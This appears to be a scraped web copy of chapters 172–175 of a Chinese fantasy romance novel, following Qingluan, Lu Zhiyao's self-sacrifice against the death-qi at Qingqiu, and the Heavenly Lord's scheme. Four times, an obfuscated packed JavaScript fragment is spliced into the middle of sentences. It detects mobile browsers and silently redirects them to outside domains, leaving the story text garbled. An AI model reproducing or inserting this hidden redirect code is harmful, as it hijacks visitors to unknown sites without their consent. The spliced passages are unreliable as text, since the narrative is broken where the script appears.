青鸾垂首注视着棋盘,似是陷入了回忆,过了好一会儿她才拈起一枚棋子,轻轻点了点头:“我还记得的。” 这上古棋局的下法规则,路之遥曾在昆仑山中教过她。 “若只是对弈倒也有些无趣,不如再加一些筹码。”路之遥又道:“每一局输棋的人回答对方一个问题,如何?” 青鸾抬眼看他。 在她的记忆里路之遥的情绪向来都很平淡,似乎天底下任何人任何事都无法勾起他的兴趣。 今夜他倒是难得的有兴致。 大雨仍在倾盆落下,青鸾耳畔除却浩浩无根水砸在荒野大地上沉闷的回响,余下的便只有她与路之遥的呼吸声。 在绵绵无尽的雨声中,二人以星辰为棋,开始了今夜的第一场对弈。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409370|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没过多久便分出胜负,这第一场对弈以青鸾惨败告终。 “许久没有对弈过这上古棋局,有些手生。”青鸾不服气地皱了皱眉:“再来!” 路之遥执棋不语,一只手轻轻地敲着棋盘,微微歪着脑袋望向她。 青鸾愣了一下,想起此前路之遥所说的筹码。 她抿了抿唇,然后道:“第一局是我输了,你想问我什么问题?” 路之遥眼中闪过一丝微不可见的笑意,那笑意好似一粒尘埃坠入冰冷的湖泊,连一抹涟漪都未曾激起。 “你在青要山的那些年,过得好不好?”路之遥目光专注,“我知道这个问题我从前问过你,但现在我想要听到你更明确的回答。” 他微微往前倾了倾身子:“在青要山的那些时光,是不是快乐的时候更多一些?” 青鸾沉默了许久。 她在回忆从前与帝骁一起生活在青要山的时光,也在思索路之遥的问题。 直到此时她才惊觉,她似乎从来没有问过自己快不快乐,更不曾体察过自己其余的感受。 她好像将自己的感受从内心深处抽离,如此她便能保持冷静,但这又何尝不是一种麻木。 抽离所有的情绪,她才有力气一刻不停地向前走。 然而此时此刻,路之遥在明确地询问她的感受。 她在青要山的生活过得如何,她到底快不快乐? 最开始听见路之遥提出这个问题时,她下意识觉得这个问题太过简单,她完全可以不假思索地回复,然而当此刻真正陷入沉思,她才发现这个问题竟然如此难以回答。 对自己情绪的感知已经被抽离得太久,如今再次重新触碰它们,她只感到麻木。 却听路之遥沉沉地叹了口气:“不知道该如何回答,那就是不快乐。” 这一句话如一把利剑劈开了青鸾混沌的记忆,也在瞬间点醒了她。 是呀,快乐就是快乐,倘若不知道该如何回答,那就是不快乐。 倘若内心感到麻木,那就是不快乐。 情绪如决堤洪水,随着记忆一起涌上她的心头。 快乐的,不快乐的,惊慌的,痛苦的,它们如潮水一般涌来,瞬间将青鸾淹没。 同帝骁一起生活在青要山中的点点滴滴是快乐的,她记得他牵着她的手在山中漫步时回荡在她心间的雀跃,也记得同他一起在屋檐下赏雨时内心弥漫的平静。 那一段时光诚然带给过她快乐。 但与这些快乐一同涌来的还有诸般的不快乐。 她记得独自一人守在青要山中等候帝骁归来的漫漫时日,漫长的等待是那样无趣,可彼时她的世界只有眼前的方寸天地,其实在青要山中的日子除了无聊的等待她并没有其它的选择。 她也记得随帝骁一同赴宴时天上那些仙神的嘴脸,他们瞧不起她,并且将对她的蔑视毫不遮掩地表露在了脸上,这种情况直到帝骁被封为神君之后才慢慢好转,但其实她一刻也不曾忘记过被那些高高在上的神君们用目光和语言踩进泥里的感受。 172. 万国传 除此之外,日日夜夜萦绕在她心间的还有数不清的惊惶。 早先她会因为自己只是一介小妖却长居于青要山中蒙受武罗神君的照顾而惊惶,后来她逐渐得知九重天上的诡谲风云,又开始为帝骁的处境而惊惶。 再后来帝宣失踪,帝骁变得愈发冷峻,突如其来的变故令她心中不安,可她从始至终不知内情,也无法参与其中,未知的一切让她充满无力的感觉。 直到她做了那个诛仙台上的预言梦,亦或者用路之遥的话来说,当她第无数次从被帝骁杀死的结局中回溯至现在的时光,她终于意识到性命与自由都被别人捏在手里的感觉究竟有多痛苦。 她觉醒得太晚了。 直到痛苦已经开始在她的灵魂中嘶鸣,逼得她不得不直视它时,她才终于鼓起勇气走出第一步。 此前她都没有意识到,原来她在青要山中生活的那段时光,竟然大部分都是不快乐的。 见青鸾陷入了长久的沉默,且眉眼间的痛苦之意越来越深,路之遥开口打断了她的思索。 “再来一局。”他抬手恢复棋盘,眉梢眼角本就淡薄的笑意早已荡然无存,“还是方才那个筹码,谁输了就回答对方一个问题。” 青鸾回过神来,嗯了一声,坐直身子专注地盯着眼前的棋盘,下定决心扳回一局。 可惜第二局她依旧输得惨烈。 路之遥完全没有手下留情的意思。 “上一次前往青丘时我曾问过你,对于你而言最珍贵的是什么,那时候你告诉我当下最重要的事情是获得真正的自由。”他直视着她的眼睛:“那么现在呢,现在对你来说最重要的是什么?你最想去做的事情是什么?” 这次青鸾没有陷入长久的思索,她回答得很快:“消灭死气,解除这个世界可能被毁灭的危机。” 路之遥眉间一动,青鸾看得出来他似乎想继续追问些什么,最后却还是没有开口。 “现在对于我来说最重要的是真相。”尽管路之遥并没有追问,青鸾还是将自己心底的想法告诉了他:“在合虚时我曾对你说过,我想知道我到底是谁,当初为什么主动踏入轮回之境。” “我还想知道在进入轮回之境前的你究竟是谁,你的身份,你的目的,那些连现在的你自己都不知道的事情,我统统都想知道。” “这就是我现在最想做的事情。” 也是一定要去做的事情。 路之遥闻言颔首。 他没有再说什么,而是将目光投向夜色中的大雨。 大雨如注,倒映在他眼中却如流星划过,掀起微光浮动,他转首对青鸾道:“今晚先好好休息吧,明日再启程去青丘。” 青鸾却抬手压住棋盘:“再来一局。” 路之遥沉默地注视着她,她也迎着他的目光望回去:“最后一局,好不好?” 路之遥嘴角勾起一抹不易察觉的笑,他再次挥手让棋盘恢复如初,示意青鸾先下。 可惜此局即便路之遥让了先手,青鸾依然惨败。 她忍了又忍,还是气得想掀翻棋盘,“罢了,不下了!” 路之遥唇畔笑意加深:“你输了,要回答我最后一个问题。” 青鸾现在严重怀疑就是因为下棋前的那个筹码,路之遥出手才会如此狠辣,在棋局上杀得她毫无喘息之机。 “最后一个问题是什么?”不过她也很好奇,路之遥还想问她什么问题。 却见他再次将目光投向外面的雨夜,不知在想些什么。 就在青鸾忍不住想要再次开口询问他时,忽然听见他道:“倘若这一场雨永远不停……” 说到这里,他的声音戛然而止,青鸾耳畔又只剩下了无尽的雨声和他们两人的呼吸声。 “倘若这一场雨永远不停?”她重复了一遍他没说完的话,然后问他:“你想说什么?” 路之遥轻轻摆首,拂袖收了棋盘:“罢了,夜深了,先休息吧。” 青鸾疑惑地嗯了一声:“方才可是你提醒我还要再回答最后一个问题,最后一个问题到底是什么?” 路之遥淡淡地道:“我暂时想不到要问你什么,这个问题留着等将来再答。” 青鸾抿了抿嘴,倚靠着石壁坐下,她知道路之遥的性子,他这是摆明了不愿多说,无论她怎么问他都不会再开口的。 入睡前她循着路之遥的目光望着夜幕中的滂沱大雨:“倘若明天雨势还这样大,那我们……” 路之遥听出了她语气里的担忧,安慰她道:“别担心,明日雨会停的,我们可以正常启程。” 青鸾再次疑惑地问:“你怎么知道明日雨会停?” 却听路之遥胸有成竹地道:“出发前我曾推演过,我们会赶在生阵崩塌前抵达青丘的。” 他再一次对青鸾说了一句别担心:“快休息吧,明日还要赶路。” 青鸾点了点头,很快就闭上眼陷入沉睡。 其实自从她决定离开青要山开始,便几乎没有睡过一次好觉,连日的殚精竭虑还有各种突发的事件让她的精神始终保持紧绷,不敢有一刻的松懈,因此她总是睡不安稳。 上一次睡得这样沉,还是在白民国路之遥的别院中。 不过上一次是路之遥施术让她陷入沉睡,醒来后听路之遥说她在梦里唤帝骁的名字,这件事至今仍让她觉得悚然。 至于究竟梦见了什么,居然让她在梦里唤帝骁的名字,她便不得而知了。 路之遥将这一段梦境从她的识海中抹去,她自己也不知道梦见过什么。 这一次她在路之遥身边依旧睡得安稳,却是清楚地做了一段诡异的梦。 梦里她十分清醒。 清醒地看见星光顺着石壁上的苔藓将她包裹成茧,看见星河在自己身侧流淌,散发着柔和的光辉。 但那些光芒背后隐藏的气息却并不温和,反而有几分阴沉凌厉。 她感觉到有人在通过这些星光注视着她。 注视着她的灵魂。 一只带着凉意的手抚过她的头顶,顺着她的脸颊滑过,最后捏住了她的下颌,迫使她抬起头来。 她清醒地意识到自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15415059|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己正在梦中,也意识到梦中的她丝毫动弹不得,她无法抗拒地抬起头望向那只手的主人。 星辉流转间勾勒出的竟是路之遥的脸。 他注视着她,目光含义复杂,全无平日里的克制与淡然。 此刻萦绕在他眼中的是说不出的偏执,还有一丝难以察觉的痛楚。 那目光看得青鸾禁不住心中一颤。 他似乎很痛苦,这些痛苦在无尽岁月的浸泡下不断发酵,连他的灵魂都染上了凉意,此刻释放出的星辰之力更是极寒般凛冽。 他长久地注视着她,然后开口问她:“倘若这一场雨永远不停,你愿不愿意和我永远留在这里。” 这是一个问句,却没有疑问的语气。 他的声音是那样笃定,似乎已经替她做下决定。 他的手稍一用力,便牢牢扼住了她的咽喉。 “倘若在此刻死去,我们是不是就能永远在一起?”他像是在询问她,又像是在问自己。 他的指尖冰凉,触碰她肌肤的感觉是如此真切,真切到青鸾以为其实这不是一场梦境。 她与他同处现实,他眼中的偏执也不是作假。 “唯有死亡能让我们永远在一起。”他的声音里带有一丝蛊惑:“这个世界是真是假,存在还是毁灭,都无所谓了。” “世界与我们无关。” “死亡会给予永恒。” 她没有开口,只是注视着他,眼中逐渐泛起心疼。 她看见了他手臂内侧那些蜿蜒的纹路。 疤痕在梦中也没有消去,而是依旧盘踞在路之遥的手臂。 它们缓缓蠕动着,似乎正在吞噬他的生命。 她尝试着开口,发现自己能够出声,她没有回答他的问题,而是轻轻地问他:“疼吗……那些因为使了禁术而产生的伤疤,它们是不是很疼?” 路之遥凝视着她的目光微微一颤,他启了启唇,却没有发出声音。 星辰的光辉逐渐散去,他的面貌也渐渐变得不再清晰,如迷雾般在她梦中消散。 片刻之后,她缓缓睁开了眼。 首先映入眼帘的是初晨的微光,她起身行至洞外,发现果如路之遥所言,下了一夜的骤雨已经停歇。 路之遥正盘膝坐在洞外,悠然地沏着一壶茶。 青鸾在他身后停下脚步:“你昨晚没有睡么?” 路之遥微微颔首:“睡不着。” 他示意青鸾坐下,“喝一盏茶再出发吧,这是我取清晨第一批露水煎的茶,茶香格外清冽。” 青鸾绕至他的身前坐下,接过他递来的茶水,若有所思地注视着他。 她的感觉并没有错,他的确是在拖延前往青丘的时间。 从一开始提出不以瞬移之术或传送法阵前往青丘,再到以避雨为理由让她停下来休息一夜,他一直在放慢他们赶去青丘的步伐。 他似乎希望他们抵达青丘的时间能够慢一点,再慢一点…… 路之遥避开了青鸾探询的目光,垂首继续专心地煎茶,仔细控制着火候。 173. 万国传 火焰在路之遥的控制下托举着茶炉,在空中安静地燃烧着。 青鸾将目光从路之遥身上转移到那团火焰上,微微眯了眯眼,她开口询问:“你控制火焰的方法似乎与别人不一样。” 路之遥沏茶的手微微一顿,“哪里不一样?” “就是不一样。”但具体何处不同,青鸾又说不上来,只能尽力形容他控火时带给她的感觉:“天地万物皆属自然,修行者除却修炼对灵力的掌控之外,其实还可以调动天地间的自然之力,不过后天修行之人很难做到这一点,只有传闻中的先神可以自如地掌控自然之力……” 路之遥轻轻笑了一声:“你是觉得我也能掌控自然之力?” “不是。”青鸾仍旧盯着在他的控制下静静燃烧的火焰:“这团火焰带给我的感觉还不止于此,你似乎并不是在单纯地掌控它……” 青鸾话没有说完,路之遥便一把掐灭了那团火焰。 他起身对她道:“时间差不多了,我们出发吧。” 青鸾随他一起站起身来,她知道路之遥是在转移话题,他不愿意回答这个问题。 于是她也不再追问,点头嗯了一声,继续以御风术往青丘赶去。 这回轮到路之遥不发一言。 离青丘越近他便越是沉默。 等到终于抵达青丘时,他眼中的寒意已经可以凝成一层霜了。 青鸾行走在他身侧,仰首观察着他的神情,然后伸手牵住了他的手。 他的手同那晚梦中的一样冰凉。 路之遥微微一颤,停下脚步垂首望她。 “手怎么这样凉?”青鸾将他的手握在自己掌心,轻轻朝它呵着热气:“别担心,一切都会解决的。” 她这句话既是说给他听,也是在说给自己:“所有的事情都会有一个结果,成功了我们就可以在轮回之境外相见,失败了就让死亡给予我们永恒。” “你说什么?”路之遥瞳孔微缩,他注视着她,眼中的寒意在这一瞬间尽数散去。 青鸾与他对视,目光专注认真:“无论是在轮回之境,还是在你所说的域外,不论我们是什么身份,在无数个尘世中轮回了多少次,我知道我们都不曾真正分开过。” “轮回之境的封印让我缺失了许多的记忆,但我知道那些残缺的记忆里和我一起经历一切的人都是你。你一直都陪我一起,对不对?” “我虽然失去了记忆,但我记得面对你时的感觉,我知道那些感觉不会欺骗我。” 她更加用力地握住他的手:“所以不用怕,我也许会忘记你,但我相信我们一定会在每一世的轮回中重逢,每一次我都会像现在这样坚定地选择你。” 不用怕…… 这是无数个世界无数次轮回中他常对她说的话。 “我也永远记得面对你时的感觉,永远不会忘记第一次见到你燃起心火时的画面。”他抬手抚上她的脸颊,微不可闻地叹息一声:“这就够了。” 下一秒他突然靠近,俯身将青鸾紧紧拥进怀里,然后带着她旋身躲过死气的攻击。 青鸾在他怀中愕然抬首,望向那道攻击他们的死气。 死气与她想象中的并不一样,它们既不锋利,也不凛冽,而是如黏稠的沼泽般蔓延,无声静默地吞噬着它们所接触到的一切事物。 青鸾心中一紧。 死气散逸,生阵破了。 “助始祖之息摆脱生阵与死气的禁锢后,我将它封印在了青丘地底,这也是它对我的承诺。”如此危急的关头,路之遥的语声依旧十分平静,平静得仿佛是在交代后事:“为免它魔性不减为害人间,我让它在青丘地底的禁制中待够一万年,万年后那道禁制会自动解除,届时它便可以获得自由。” “我所布下的星域禁制可助它悟道,想来它会安分守己,万年后重获自由应当也不会肆虐人间。但以防万一,你还是要将此事告知帝骁。” “他会成为下一任天君,将这件事告诉他,他知道该怎么做。” 青鸾点头应下,然后攥住他的衣襟:“我们现在该做什么?” 其实她隐隐能够察觉到路之遥在想什么,既然他曾推演过青丘的情况,那便定然能够预测到此刻发生的事情,如何面对眼前的状况,他的心里也许早有决断。 之所以不将心中的决断告诉她,唯有一种可能,那就是他打算独自将这件事情抗下。 但她绝不会让他这样做。 她不可能让他独自面对。 她仰首注视着他,一字一句地重复了一遍:“我们现在该做什么?生阵破了,我们一起阻止……” 路之遥出声打断了她:“我曾无数次预见过自己的死亡。” 在他开口说话的同时,被粘稠黑雾裹挟着的天穹发出轰然声响,黑潮压至两人眉睫的刹那,路之遥抬手以指尖划破虚空。 天幕深处亮起一道银芒,垂落的星光凝成实体,暂时禁锢住了死气,同时也将青鸾包裹其中。 青鸾声音微颤:“你说什么?” 路之遥垂眸望她,温柔眸光如一池潋滟春水:“早在上一次来到青丘接触过死气之后我便已开始推演,我知道会发生什么,也知道我该怎么做。” 青鸾显然不想听路之遥说这些,她抗拒地摇首:“你放我出去,让我和你一起,我们可以一起面对的。” “我相信你可以做到,你会解除死气对这个世界的威胁,但现在还不是时候。”路之遥双手捧住青鸾的脸颊,让她与自己对视:“现在我会为你铲平前进的道路,你只管向前走。” “我不要……”青鸾突然感到一阵恐慌,她死死攥住路之遥的臂膀:“你要离开我了是不是?又要留我一个人了是不是?” 路之遥认真地注视着她,像是在一遍又一遍地描摹她的样子,要将她的模样牢牢烙印进自己的灵魂里。 “我曾目睹过无数宇宙崩塌又重启,见过无数生灵在不断生灭的宇宙中寻找所谓永恒的爱。”他抬手为她拭去眼泪:“在遇见你之前,我不知道什么是爱。” “遇见你之后我才知道,爱是毫无保留心甘情愿的托举。原来如此脆弱变幻无常的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15423560|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宇宙间,当真有永恒的爱。” 他将手落在她的腰际,俯身想要吻她的额头,冰凉的唇却在距离她额间一寸远的位置停下。 最后他只是抬手捂住她的眼:“不要哭,春风会葬我。” 青鸾的泪水浸湿了他的掌心,待她睁开模糊的泪眼时,他已经松开她独自往被死气吞噬坍塌的区域而去。 春风会葬他,这是他留给她的最后一句话。 粘稠黑暗的死气瞬间吞没了他的身影,便在此时地脉深处传来几声闷响,原本因死气的吞噬而腐朽的枯木突然抽出翠绿色新枝,青鸾在星光的禁锢中睁大了眼。 死而复生的巨树根系破开岩层,虬结的树冠在飓风中摇摆,裹挟着星辰光芒的风吹散了眼前那片死气,路之遥的身形重新在光芒中出现。 他右手虚按大地,掌间迸发出的耀眼星光将周遭黑雾全部绞成絮状碎屑,然后把不断溃散的阴影钉死在大地龟甲般的裂纹里。 成功遏制住死气的蔓延了吗? 青鸾屏住呼吸。 不,还没有结束。 黑雾如退潮般收缩,在即将消散时重新凝聚,如獠牙交错向路之遥反扑。 它们比方才还要来势汹汹。 路之遥眼中泛起月白色的辉光,他双手结印,穹顶出现一幅巨大的星图,星图逆时针旋转,坠落下无数星辰碎片。 远远望去,十万大山间流淌着无数星河,林涛卷着星辉如同银色瀑布倒悬于天,黑气在地脉间游走,路之遥掌心星芒明明灭灭。 “引——” “星辰之力。” 黑潮迎面扑来时,他扬起的衣袖带起一阵劲风,那裹挟着星芒碎片的飓风似乎永远不会停歇,它不知从何处卷来了一些粉白色的花瓣,那些花瓣甚至还散发着浓郁的香气。 路之遥最强大的杀招便是星辰之力,然而此刻他所使的不仅仅是星辰之力。 眼前的一幕解开了青鸾方才的疑惑。 之前见路之遥控火时她便有些奇怪,当时她感受到他是在使用自然之力,但使用的方法很不一样。 如今才知道,原来这也是传说中的禁术之一。 无论修炼到了什么境界,他终究只是凡人血脉,并无法掌控自然之力,所以他选择了另一个方法,那就是夺天地间造化。 这样做无疑透支着这个世界所存不多的灵力,同时也透支着他的生命。 风携着星光撞入黑雾,反攻的死气尚未触及路之遥的衣角,便被周遭的流风揉成淡墨。 暴雨来得毫无征兆,银线般的雨丝穿透污浊的天幕,盛着碎星的光华浇灌而下,獠牙状的黑气中绽开瀑布般的花雨,死气则在雨水的冲刷下逐渐褪色。 路之遥成功了。 他暂时遏制住了死气的蔓延。 青鸾心中一喜,想要朝他的方向奔去,却发现星辰编织的光罩仍禁锢着她。 最后一缕阴影消失,蛰伏进了地底,路之遥指尖还滴落着正在融化的星光。 他的身形也同那些破碎的光芒一起逐渐消散。 174. 万国传 “路之遥……” 青鸾在光罩中唤他的名字,她听见自己的嗓音沙哑,沙哑得不像是她的声音。 死气已被遏制,风却仍未停歇,雨也还在降落,这方天地因方才那场战斗而濒临破碎。 但路之遥指尖消融的星光正治愈着这方破碎的天地。 星屑渗入龟裂焦黑的大地,漆黑裂缝中突然迸出散发着荧光的根须,它们交织成网稳固住即将崩塌的山脊。有嫩芽从山间断层里顶出来,叶尖坠着的露珠里仿佛沉浮着星光。 路之遥在这一片飘渺如云烟的星海中摊开掌心,指缝溢出的星屑随风飘向天穹裂缝。 宛若银河倾落的光芒裹住溃烂的云层,修补着残破的穹顶。 这一方天地正在星辰之力的作用下重新焕发生机。 但路之遥的身体因透支了力量而逐渐随星光消散。 随他的身形一同消散的还有他为青鸾布下的光罩。 “路之遥!” 青鸾在光罩中声嘶力竭地呼喊着路之遥的名字,她知道他听到了,但他始终不曾回头。 在他彻底消失在青鸾眼前时,禁锢着她的光罩也终于消散。 此时最后一道地缝已经合拢,散发着星光的植物正将破碎的灵脉缝进新生的山河,雨已经停了,风也飘向更深的旷野。 重新焕发生机的天地此刻却是一片寂静。 她再也寻不见路之遥的身影。 心变得空落落的,它分明仍在体内用力地跳动着,但此刻青鸾居然感受不到它的存在。 就好像再次被人用无形的手剜去了整颗心脏一样,她感觉风正从她的身体里穿堂而过。 她呆呆地站在原地,整个人仿若失了魂魄。 便在这时一道温和的力量涌遍她的全身,这力量如此熟悉,抚慰着她的情绪,一下子便将她从失魂落魄的状态中拉回现实。 指间传来一阵温热,青鸾垂首去看,再次见到了曾在慕北辰的星域中见过的那枚轮回之戒。 左手指间萦绕着的那一圈星尘闪烁着微光,正与她的心脏同频跳动,与此同时,她在这一片星辉的共鸣中感受到了路之遥尚未散尽的魂魄。 他的残魂正在消散,但她感受到了他的温度,他还没有彻底离开。 青鸾感到前所未有的心慌。 慌乱之下她祭出心火,想要用心火之力留住路之遥残存于世的魂魄,然而心火只是照亮了她身侧的星辉,让这些星屑散发出更加闪耀的光芒,却并不能挽留路之遥逐渐消逝的神魂。 连心火也没有办法留住他的魂魄…… 青鸾强迫自己冷静下来,不断地在脑海里搜寻固人魂魄的方法,突然间她想到了太虚锢灵鉴。 是了,此物可魂凝太阴,这是眼下她唯一可以尝试的法子了。 召出太虚锢灵鉴后她立即注入灵力催动,铜盘登时散发出红色微光,不住地在空中颤动。 终于,在路之遥的最后一缕魂魄散尽之前,太虚锢灵鉴捕捉到了残魂,将他封印进了铜盘之中。 青鸾长长地松了口气,冷汗顺着她的额头落下,她脱力般跪伏在地,垂下脑袋大口大口地喘气。 直到此刻她才重新感觉到心脏的跳动,从方才尝试用心火挽留路之遥残魂,再到启用太虚锢灵鉴封他魂魄,她的心脏仿佛并不在身体里,而是一直悬在碰不到摸不着的虚空中。 像是溺水的人终于能够将头探出水面吸一口气,她终于从窒息的痛苦中得到了喘息。 然而下一秒,心脏跳动的速度加快,周遭的心火也以异样的姿态燃烧起来。 千歌远在万里之外以心火向她传讯,小华山出事了。 青鸾冷笑一声,呵了口气,将太虚锢灵鉴收入乾坤袋中,起身以瞬移之术赶回小华山。 她和路之遥前脚刚至青丘,后脚小华山便出事了,她能想到的唯一可能便是自己一直担心的事情还是发生了。 天君终究知晓了她的身份,并且顺藤摸瓜查到了朝玦头上,否则他没有理由攻击小华山。 但小华山上设有瑾瑜留下的结界,路之遥又在那个结界上加了一重星域禁制,那道禁制威力强横,即便是天君亲至也无法破除,就算他有什么别的法子,解除禁制也需要一定的时间,小华山怎么会这么快便遭受重创? 待她赶到小华山后,看见眼前的一幕便知晓了答案。 一座巨大的古阵横亘在整座小华山上,这个阵法无比庞大并且气息诡异,想必便是路之遥从前对她提起过的上古阵法。 被困在阵法中的小华山没有一丝生机,山中草木尽数枯萎,被忘忧隐匿在结界中的原住民们也都没了气息。 他们保持着生前的姿势,僵硬地站在原地,几乎快要与周遭的枯木融为一体。 青鸾踏入阵中,目光颤抖地注视着眼前这一幕,眼中怒火已经快要喷薄而出。 千歌见到青鸾赶来,这才从暗处现身,攥住她的手腕道:“他们还没有死!” 千歌的声音唤回了青鸾的理智,她吸了口气,听千歌继续道:“天君利用魔气攫取了山中所有生灵的生机,他说他可以把那些生机还回来,但他要你亲自去九重天宫见他。” 青鸾转首望向千歌:“朝玦呢?他是不是还带走了朝玦。” 千歌不忍与青鸾对视,她咬住下唇,最后还是点点头道:“天君此番前来就是为了带走朝玦,攫取山中生灵的生机不过是为了增添一些筹码。山中结界破后,忘忧被天君毁了道行打回原形,他之所以留我一命,便是为了让我给你传话。” “亲往九重天宫,便可见到朝玦,小华山中生灵也可活命。” 青鸾再次抬首扫视了一圈不复往日生机的小华山:“就连魔族始祖之息都已被路之遥封印,天君又是从何处得来的魔气攫取山中生机?” 千歌回忆起天君以上古之阵攻破小华山时的场景,仍旧觉得胆寒:“天君使的那个阵法之所以如此厉害,除却因为那是上古阵法,还因为他设下的阵眼十分古怪。” 青鸾蹙眉:“什么阵眼?” “我不知道。”千歌摇了摇头:“我只隐约看到那阵眼中心似乎有一个巨大的骷髅头,但我不知那是谁的头颅,也不确定那是否就是魔气的来源。” “好,很好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15430428|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……”青鸾缓缓地点着头,抬眼望向九重天宫时,她的眼尾已是一片猩红。 天君同始祖之息打了这么久的交道,一直在利用魔气寻求长生之法,或许如今他并不完全依赖于始祖之息,而是早已摸索出了一些自己炼化或者滋养魔气的方法。 利用上古之阵攻破山中禁制,再以魔气攫取山中生机,那位高坐于九重天上的天君当真是好手段。 青鸾有些支撑不住地往后退了几步。 是了,他一定还感知到了路之遥的陨落。 若非确定路之遥已经不在,天君绝不敢如此大张旗鼓地使出这些手段。 千歌上前扶住青鸾:“他要你亲自前往九重天宫,一定早就在那里设下了天罗地网,你若是……若是……” “我必须要去。”青鸾咬破下唇,嘴角渗出鲜血:“就算他布下了天罗地网我也要去。” 千歌张了张嘴,却还是没有再劝。 此刻青鸾身上萦绕着一股令她觉得无比熟悉的气息。 那气息充满了仇恨与愤怒,怒火几欲凝为实质,与她在东海地宫见到的曾经单枪匹马杀去学院的陌离别无二致。 她知道自己已经劝不住她了。 与此同时,九重天上。 天君高坐于玉阶尽头,把玩着手中玉佩,待帝骁行至阶前,他才将目光从玉佩上移开。 帝骁的伤势仍未恢复,他面色苍白如纸,整个人显出前所未有的憔悴。 天君皱了皱眉:“吾召你来天宫,不是为了看你这副魂不守舍的样子。” 帝骁没有说话,只是微微垂下眼帘,避开了天君凌厉的目光。 天君冷哼一声,向手中玉佩注入灵力,然后将它往帝骁面前一掷。 玉佩在空中旋转着落下,因天君注入的灵力而解开了封印,尚未落地便在帝骁面前化形。 正是被天君掳至九重天宫的朝玦。 帝骁连忙伸手轻轻托举住她。 朝玦从封印中醒来,她揉了揉眼睛,先是茫然地望了一眼跟前的帝骁,然后回首对着玉阶尽头的天君怒目而视。 天君又是一声冷哼:“都到九重天上了,还这样大的气性。怎么,指望着路之遥来救你不成?” 帝骁始终不发一言,他沉默地观察着眼前发生的一切,在听见天君方才所言后他心中一惊,随后掐指推演,这才后知后觉路之遥竟然已经陨落。 紧接着便闻天君继续道:“路之遥已经陨落,若非如此吾也不能这般轻易便破了他的星域禁制。既然他不在了,还有谁能来救你?” 天君的目光在帝骁与朝玦之间逡巡徘徊,过了好一会儿,才听他意味深长地道:“是青要山中的那只鸾鸟,还是昆仑境高高在上的凰女?骁儿,你其实早就知道她们是同一个人吧。” 帝骁终于抬眼迎上天君的目光。 他也终于知道天君此举的用意。 将朝玦掳至九重天宫是为了引青鸾入局,而此局其实是天君为了他而设。 “您想做什么?” 帝骁听见自己的声音在空空荡荡的天宫响起,如宫外的万古长夜般寂寥。 175. 万国传 “吾寿元将尽,而你尚未做好成为下一任天君的准备。” 天君的声音听得朝玦打了一个冷颤,她从未听到过这样的声音。 苍老,腐朽,行将就木,连呼吸间都充满了腐烂的气息,却又处处透着不可反抗的威严。 “还记得你第一次在阶前长跪不起的模样么?还记不记得你自己当初做出的承诺?” “素娆已死,可你还有软肋。”天君长长地叹息一声,语气竟显得有些苦口婆心:“但你想要坐上这个位子,就绝对不可以有一丝一毫的弱点,否则那弱点就会成为致命的威胁。” 说着他闭上眼睛,抬手催动阵法,随着那屠戮了整座小华山的阵法逐渐成型,他的声音再次响起:“小妖青鸾也好,凰女九聆也罢,在知晓她觉醒了心火的下一刻,你就该立马取她性命。” “可你不仅没有杀她,还故意替她隐瞒行踪,放任她在龙渊之狱胡作非为……” “她今日非死不可。” “这个唤作朝玦的玉灵就是她的软肋,吾今日除她之余便要你好生看着,弱点何以会成为致命的威胁。” 帝骁心中一紧,回身朝宫外望去。 虽然尚未看见青鸾,但他知道她正在往天宫的方向来。 便在这时躺在他跟前的那道身影突然一动,朝玦居然挣脱了天君神力的束缚,如流星般从天宫坠落,头也不回地向凡间奔逃。 随着她的消失,星辰之力如涟漪般在天宫扩散。 天君缓缓睁眼:“路之遥在她体内留下了一抹灵魂之力,吾竟没有发现。” 说着他再次抬手,催动那已经成型的上古法阵,将它的力量笼罩在朝玦逃去的凡域上空。 